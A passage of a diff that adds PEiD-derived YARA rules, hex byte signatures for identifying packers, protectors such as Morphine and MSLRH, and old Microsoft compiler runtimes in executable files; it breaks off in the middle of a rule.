+        $a = {00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01160_Morphine_3_3____Holy_Father___Ratter_29A_
+{
+    meta:
+        description = "[Morphine 3.3 -> Holy_Father & Ratter/29A]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72}
+    condition:
+        $a
+}
+
+rule PEiD_01161_Morphine_3_3____Silent_Software___Silent_Shield__c_2005__h__
+{
+    meta:
+        description = "[Morphine 3.3 -> Silent Software & Silent Shield (c)2005 (h)]"
+        ep_only = "false"
+    strings:
+        $a = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63}
+    condition:
+        $a
+}
+rule PEiD_01162_Morphine_v1_2___v1_3_
+{
+    meta:
+        description = "[Morphine v1.2 - v1.3]"
+        ep_only = "false"
+    strings:
+        $a = {FF 25 34 ?? 5A 00 8B C0 FF 25 38 ?? 5A 00 8B C0}
+    condition:
+        $a
+}
+
+rule PEiD_01163_Morphine_v2_7____Holy_Father___Ratter_29A__h__
+{
+    meta:
+        description = "[Morphine v2.7 -> Holy_Father & Ratter/29A (h)]"
+        ep_only = "false"
+    strings:
+        $a = {?? ?? ?? ?? 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01164_Morphine_v2_7____Holy_Father___Ratter_29A_
+{
+    meta:
+        description = "[Morphine v2.7 -> Holy_Father & Ratter/29A]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01165_Morphine_V3_3____Holy_Father___Ratter_29A_
+{
+    meta:
+        description = "[Morphine V3.3 -> Holy_Father & Ratter/29A]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+    condition:
+        $a
+}
+
+rule PEiD_01166_Morphine_v3_3____Silent_Software___Silent_Shield__c_2005__h__
+{
+    meta:
+        description = "[Morphine v3.3 -> Silent Software & Silent Shield (c)2005 (h)]"
+        ep_only = "false"
+    strings:
+        $a = {28 ?? ?? ?? 00 00 00 00 00 00 00 00 40 ?? ?? ?? 34 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4C ?? ?? ?? 5C ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41}
+    condition:
+        $a
+}
+
+rule PEiD_01167_Morphnah_Beta____Kas_
+{
+    meta:
+        description = "[Morphnah Beta -> Kas]"
+        ep_only = "true"
+    strings:
+        $a = {2E 6E 61 68 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 A0 00 00 E0}
+    condition:
+        $a
+}
+
+rule PEiD_01168_mPack_0_0_3____DeltaAziz_
+{
+    meta:
+        description = "[mPack 0.0.3 -> DeltaAziz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 33 C0 89 45 F0 B8 A8 76 00 10 E8 67 C4 FF FF 33 C0 55 68 C2 78 00 10 64 FF 30 64 89 20 8D 55 F0 33 C0 E8 93 C8 FF FF 8B 45 F0 E8 87 CB FF FF A3 08 A5 00 10 33 C0 55 68 A5 78 00 10 64 FF 30 64 89 20 A1 08 A5 00 10 E8 FA C9 FF FF 83 F8 FF}
+    condition:
+        $a
+}
+
+rule PEiD_01169_mPack_0_0_3____DeltaAziz_
+{
+    meta:
+        description = "[mPack 0.0.3 -> DeltaAziz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 33 C0 89 45 F0 B8 A8 76 00 10 E8 67 C4 FF FF 33 C0 55 68 C2 78 00 10 64 FF 30 64 89 20 8D 55 F0 33 C0 E8 93 C8 FF FF 8B 45 F0 E8 87 CB FF FF A3 08 A5 00 10 33 C0 55 68 A5 78 00 10 64 FF 30 64 89 20 A1 08 A5 00 10 E8 FA C9 FF FF 83 F8 FF 75 0A E8 88 B2 FF FF E9 1B 01 00 00 C7 05 14 A5 00 10 32 00 00 00 A1 08 A5 00 10 8B 15 14 A5 00 10 E8 C9 C9 FF FF BA 14 A5 00 10 A1 08 A5 00 10 B9 04 00 00 00 E8 C5 C9 FF FF 83 3D 14 A5 00 10 32 77 0A E8 47 B2 FF FF E9 DA 00 00 00 A1 08 A5 00 10 8B 15 14 A5 00 10 E8 92 C9 FF FF BA 18 A5}
+    condition:
+        $a
+}
+
+rule PEiD_01170_mPACK_v0_0_2____DeltaAziz__h__
+{
+    meta:
+        description = "[mPACK v0.0.2 -> DeltaAziz (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00 6A 45 E8 A3 00 00 00 68 00 00 00 00 E8 58 61 E8 AA 00 00 00 4E ?? ?? 00 00 00 00 00 00 00 00 00 5E ?? ?? 00 4E ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 ?? ?? 00 00 ?? ?? 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 ?? ?? ?? 0C ?? ?? ?? CC E4 ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 5D 68 00 FE 9F 07 53 E8 5D 00 00 00 EB FF 71 E8 C2 50 00 EB D6 5E F3 68 89 74 24 48 74 24 58 FF 8D 74 24 58 5E 83 C6 4C 75 F4 59 8D 71 E8 75 09 81 F6 EB FF 51 B9 01 00 83 EE FC 49 FF 71 C7 75 19 8B 74 24 00 00 81 36 50 56 8B 36 EB FF 77 C4 36 81 F6 EB 87 34 24 8B 8B 1C 24 83 EC FC EB 01 E8 83 EC FC E9 E7 00 00 00 5B EB FF F3 EB FF C3 83 EB FD}
+    condition:
+        $a
+}
+
+rule PEiD_01171_mPack_V0_03____DeltaAziz_
+{
+    meta:
+        description = "[mPack V0.03 -> DeltaAziz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 ?? ?? 33 C0 89 45 F0 B8 ?? ?? ?? ?? E8 67 C4 FF FF 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 F0 33 C0 E8 93 C8 FF FF 8B 45 F0 E8 87 CB FF FF A3 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 A1 ?? ?? ?? ?? E8 FA C9 FF FF 83 F8 FF}
+    condition:
+        $a
+}
+
+rule PEiD_01172_MPEG_movie_file_
+{
+    meta:
+        description = "[MPEG movie file]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 01 BA 2F FF FD E6 C1 80 18 61 00 00 01 BB}
+    condition:
+        $a
+}
+
+rule PEiD_01173_MS_FORTRAN_Library_19___
+{
+    meta:
+        description = "[MS FORTRAN Library 19??]"
+        ep_only = "true"
+    strings:
+        $a = {FC 1E B8 ?? ?? 8E D8 9A ?? ?? ?? ?? 81 ?? ?? ?? 8B EC 8C DB 8E C3 BB ?? ?? 9A ?? ?? ?? ?? 9B DB E3 9B D9 2E ?? ?? 33 C9}
+    condition:
+        $a
+}
+
+rule PEiD_01174_MS_FORTRAN_Library_19___
+{
+    meta:
+        description = "[MS FORTRAN Library 19??]"
+        ep_only = "true"
+    strings:
+        $a = {FC 1E B8 ?? ?? 8E D8 9A ?? ?? ?? ?? 81 ?? ?? ?? 8B EC B8 ?? ?? 8E C0 26 C7 ?? ?? ?? ?? ?? 26}
+    condition:
+        $a
+}
+
+rule PEiD_01175_MS_Run_Time_Library__OS_2____FORTRAN_Compiler_1989_
+{
+    meta:
+        description = "[MS Run-Time Library (OS/2) & FORTRAN Compiler 1989]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 86 E0 2E A3 ?? ?? 3D ?? ?? 73}
+    condition:
+        $a
+}
+
+rule PEiD_01176_MS_Run_Time_Library_1987_
+{
+    meta:
+        description = "[MS Run-Time Library 1987]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 02 73 ?? 9A ?? ?? ?? ?? B8 ?? ?? 50 9A ?? ?? ?? ?? 92}
+    condition:
+        $a
+}
+
+rule PEiD_01177_MS_Run_Time_Library_1988__04__
+{
+    meta:
+        description = "[MS Run-Time Library 1988 (04)]"
+        ep_only = "true"
+    strings:
+        $a = {1E B8 ?? ?? 8E D8 B4 30 CD 21 3C 02 73 ?? BA ?? ?? E8 ?? ?? 06 33 C0 50 CB}
+    condition:
+        $a
+}
+
+rule PEiD_01178_MS_Run_Time_Library_1990__07__
+{
+    meta:
+        description = "[MS Run-Time Library 1990 (07)]"
+        ep_only = "true"
+    strings:
+        $a = {2E 8C 1E ?? ?? BB ?? ?? 8E DB 1E E8 ?? ?? 1F 8B 1E ?? ?? 0B DB 74 ?? 8C D1 8B D4 FA 8E D3 BC ?? ?? FB}
+    condition:
+        $a
+}
+
+rule PEiD_01179_MS_Run_Time_Library_1990__10__
+{
+    meta:
+        description = "[MS Run-Time Library 1990 (10)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? 2E FF 2E ?? ?? BB ?? ?? E8 ?? ?? CB}
+    condition:
+        $a
+}
+rule PEiD_01180_MS_Run_Time_Library_1990__1992__09__
+{
+    meta:
+        description = "[MS Run-Time Library 1990, 1992 (09)]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 02 73 ?? C3 8C DF 8B 36 ?? ?? 2E}
+    condition:
+        $a
+}
+
+rule PEiD_01181_MS_Run_Time_Library_1992__11__
+{
+    meta:
+        description = "[MS Run-Time Library 1992 (11)]"
+        ep_only = "true"
+    strings:
+        $a = {B4 51 CD 21 8E DB B8 ?? ?? 83 E8 ?? 8E C0 33 F6 33 FF B9 ?? ?? FC F3 A5}
+    condition:
+        $a
+}
+
+rule PEiD_01182_MS_Run_Time_Library_1992__13__
+{
+    meta:
+        description = "[MS Run-Time Library 1992 (13)]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 8E DF FA 8E D7 81 C4 ?? ?? FB 33 DB B8 ?? ?? CD 21}
+    condition:
+        $a
+}
+
+rule PEiD_01183_MS_Run_Time_Library_1992__14__
+{
+    meta:
+        description = "[MS Run-Time Library 1992 (14)]"
+        ep_only = "true"
+    strings:
+        $a = {1E 06 8C C8 8E D8 8C C0 A3 ?? ?? 83 C0 ?? A3 ?? ?? B4 30}
+    condition:
+        $a
+}
+
+rule PEiD_01184_MS_Visual_C___v_8__h_good_sig__but_is_it_MSVC___
+{
+    meta:
+        description = "[MS Visual C++ v.8 (h-good sig, but is it MSVC?)]"
+        ep_only = "false"
+    strings:
+        $a = {E8 ?? ?? ?? ?? E9 8D FE FF FF CC CC CC CC CC 66 81 3D 00 00 00 01 4D 5A 74 04 33 C0 EB 51 A1 3C 00 00 01 81 B8 00 00 00 01 50 45 00 00 75 EB 0F B7 88 18 00 00 01 81 F9 0B 01 00 00 74 1B 81 F9 0B 02 00 00 75 D4 83 B8 84 00 00 01 0E 76 CB 33 C9 39 88 F8 00}
+    condition:
+        $a
+}
+
+rule PEiD_01185_MS_Visual_C___v_8__h_good_sig__but_is_it_MSVC___
+{
+    meta:
+        description = "[MS Visual C++ v.8 (h-good sig, but is it MSVC?)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? E9 8D FE FF FF CC CC CC CC CC 66 81 3D 00 00 00 01 4D 5A 74 04 33 C0 EB 51 A1 3C 00 00 01 81 B8 00 00 00 01 50 45 00 00 75 EB 0F B7 88 18 00 00 01 81 F9 0B 01 00 00 74 1B 81 F9 0B 02 00 00 75 D4 83 B8 84 00 00 01 0E 76 CB 33 C9 39 88 F8 00 00 01 EB 11 83 B8 74 00 00 01 0E 76 B8 33 C9 39 88 E8 00 00 01 0F 95 C1 8B C1 6A 01 A3 ?? ?? ?? 01 E8 ?? ?? 00 00 50 FF ?? ?? ?? 00 01 83 0D ?? ?? ?? 01 FF 83 0D ?? ?? ?? 01 FF 59 59 FF 15 ?? ?? 00 01 8B 0D ?? ?? ?? 01 89 08 FF 15 ?? ?? 00 01 8B 0D ?? ?? ?? 01 89 08 A1 ?? ?? 00 01 8B 00 A3 ?? ?? ?? 01 E8 ?? ?? 00 00 83 3D ?? ?? ?? 01 00 75 0C 68 ?? ?? ?? 01 FF 15 ?? ?? 00 01 59 E8 ?? ?? 00 00 33 C0 C3 CC CC CC CC CC}
+    condition:
+        $a
+}
+
+rule PEiD_01186_MS_Visual_C___v_8_DLL__h_small_sig1__
+{
+    meta:
+        description = "[MS Visual C++ v.8 DLL (h-small sig1)]"
+        ep_only = "true"
+    strings:
+        $a = {8B FF 55 8B EC 83 7D 0C 01 75 05 E8 ?? ?? ?? FF 5D E9 D6 FE FF FF CC CC CC CC CC}
+    condition:
+        $a
+}
+
+rule PEiD_01187_MS_Visual_C___v_8_DLL__h_small_sig2__
+{
+    meta:
+        description = "[MS Visual C++ v.8 DLL (h-small sig2)]"
+        ep_only = "true"
+    strings:
+        $a = {8B FF 55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 0F 84 ?? ?? 00 00 83 FE 01}
+    condition:
+        $a
+}
+
+rule PEiD_01188_MSLRH_0_32a__fake__BJFNT_1_3_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake .BJFNT 1.3) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60 EB 02 C7 05 EB 02 CD 20 E8 03 00 00 00 E9 EB 04 58 40 50 C3 61 9D 1F EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50}
+    condition:
+        $a
+}
+
+rule PEiD_01189_MSLRH_0_32a__fake_ASPack_2_11d_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake ASPack 2.11d) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 02 00 00 00 EB 09 5D 55 81 ED 39 39 44 00 C3 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75}
+    condition:
+        $a
+}
+
+rule PEiD_01190_MSLRH_0_32a__fake_ASPack_2_12_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake ASPack 2.12) -> emadicius]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 73 00 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B}
+    condition:
+        $a
+}
+
+rule PEiD_01191_MSLRH_0_32a__fake_ASPack_2_12_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake ASPack 2.12) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 A0 02 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03}
+    condition:
+        $a
+}
+
+rule PEiD_01192_MSLRH_0_32a__fake_EXE32Pack_1_3x_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake EXE32Pack 1.3x) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {3B C0 74 02 81 83 55 3B C0 74 02 81 83 53 3B C9 74 01 BC 56 3B D2 74 02 81 85 57 E8 00 00 00 00 3B DB 74 01 90 83 C4 14 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_01193_MSLRH_0_32a__fake_Microsoft_Visual_C_______emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake Microsoft Visual C++) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 CA 37 41 00 68 06 38 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 64 8F 05 00 00 00 00 83 C4 0C 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00}
+    condition:
+        $a
+}
+
+rule PEiD_01194_MSLRH_0_32a__fake_MSVC___6_0_DLL_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake MSVC++ 6.0 DLL) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 5F 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58}
+    condition:
+        $a
+}
+
+rule PEiD_01195_MSLRH_0_32a__fake_MSVC___7_0_DLL_Method_3_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake MSVC++ 7.0 DLL Method 3) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 8B 5D 08 56 8B 75 0C 5E 5B 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB}
+    condition:
+        $a
+}
+rule PEiD_01196_MSLRH_0_32a__fake_MSVC___DLL_Method_4_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake MSVC++ DLL Method 4) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 56 57 BF 01 00 00 00 8B 75 0C 85 F6 5F 5E 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75}
+    condition:
+        $a
+}
+
+rule PEiD_01197_MSLRH_0_32a__fake_Neolite_2_0_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake Neolite 2.0) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {E9 A6 00 00 00 B0 7B 40 00 78 60 40 00 7C 60 40 00 00 00 00 00 B0 3F 00 00 12 62 40 00 4E 65 6F 4C 69 74 65 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 43 6F 6D 70 72 65 73 73 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 38 2C 31}
+    condition:
+        $a
+}
+
+rule PEiD_01198_MSLRH_0_32a__fake_nSPack_1_3_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake nSPack 1.3) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D3 FE FF FF 8B 06 83 F8 00 74 11 8D B5 DF FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74}
+    condition:
+        $a
+}
+
+rule PEiD_01199_MSLRH_0_32a__fake_PC_Guard_4_xx_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PC-Guard 4.xx) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {FC 55 50 E8 00 00 00 00 5D EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 58 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58}
+    condition:
+        $a
+}
+
+rule PEiD_01200_MSLRH_0_32a__fake_PE_Crypt_1_02_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PE Crypt 1.02) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7 05 50 E8 08 00 00 00 EA FF 58 EB 18 EB 01 0F EB 02 CD 20 EB 03 EA CD 20 58 58 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01201_MSLRH_0_32a__fake_PE_Lock_NT_2_04_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PE Lock NT 2.04) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60 EB 03 CD 20 EB EB 01 EB E8 03 00 00 00 E9 EB 04 58 40 50 C3 EB 03 CD 20 EB EB 03 CD 20 03 61 9D 83 C4 04 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83}
+    condition:
+        $a
+}
+
+rule PEiD_01202_MSLRH_0_32a__fake_PEBundle_0_2___3_x_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PEBundle 0.2 - 3.x) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02}
+    condition:
+        $a
+}
+
+rule PEiD_01203_MSLRH_0_32a__fake_PEBundle_2_0x___2_4x_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PEBundle 2.0x - 2.4x) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 83 BD 9C 38 40 00 01 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29}
+    condition:
+        $a
+}
+
+rule PEiD_01204_MSLRH_0_32a__fake_PECompact_1_4x_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PECompact 1.4x) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {EB 06 68 2E A8 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A}
+    condition:
+        $a
+}
+
+rule PEiD_01205_MSLRH_0_32a__fake_PESHiELD_0_25_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PESHiELD 0.25) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 2B 00 00 00 0D 0A 0D 0A 0D 0A 52 65 67 69 73 74 41 72 65 64 20 74 6F 3A 20 4E 4F 4E 2D 43 4F 4D 4D 45 52 43 49 41 4C 21 21 0D 0A 0D 0A 0D 00 58 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04}
+    condition:
+        $a
+}
+
+rule PEiD_01206_MSLRH_0_32a__fake_PEtite_2_1_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PEtite 2.1) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {B8 00 50 40 00 6A 00 68 BB 21 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 83 C4 04 61 66 9D 64 8F 05 00 00 00 00 83 C4 08 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB}
+    condition:
+        $a
+}
+
+rule PEiD_01207_MSLRH_0_32a__fake_PEX_0_99_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake PEX 0.99) -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED FF 22 40 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83}
+    condition:
+        $a
+}
+
+rule PEiD_01208_MSLRH_0_32a__fake_SVKP_1_11_____emadicius_
+{
+    meta:
+        description = "[MSLRH 0.32a (fake SVKP 1.11) -> emadicius]"
+        ep_only = "false"
+    strings:
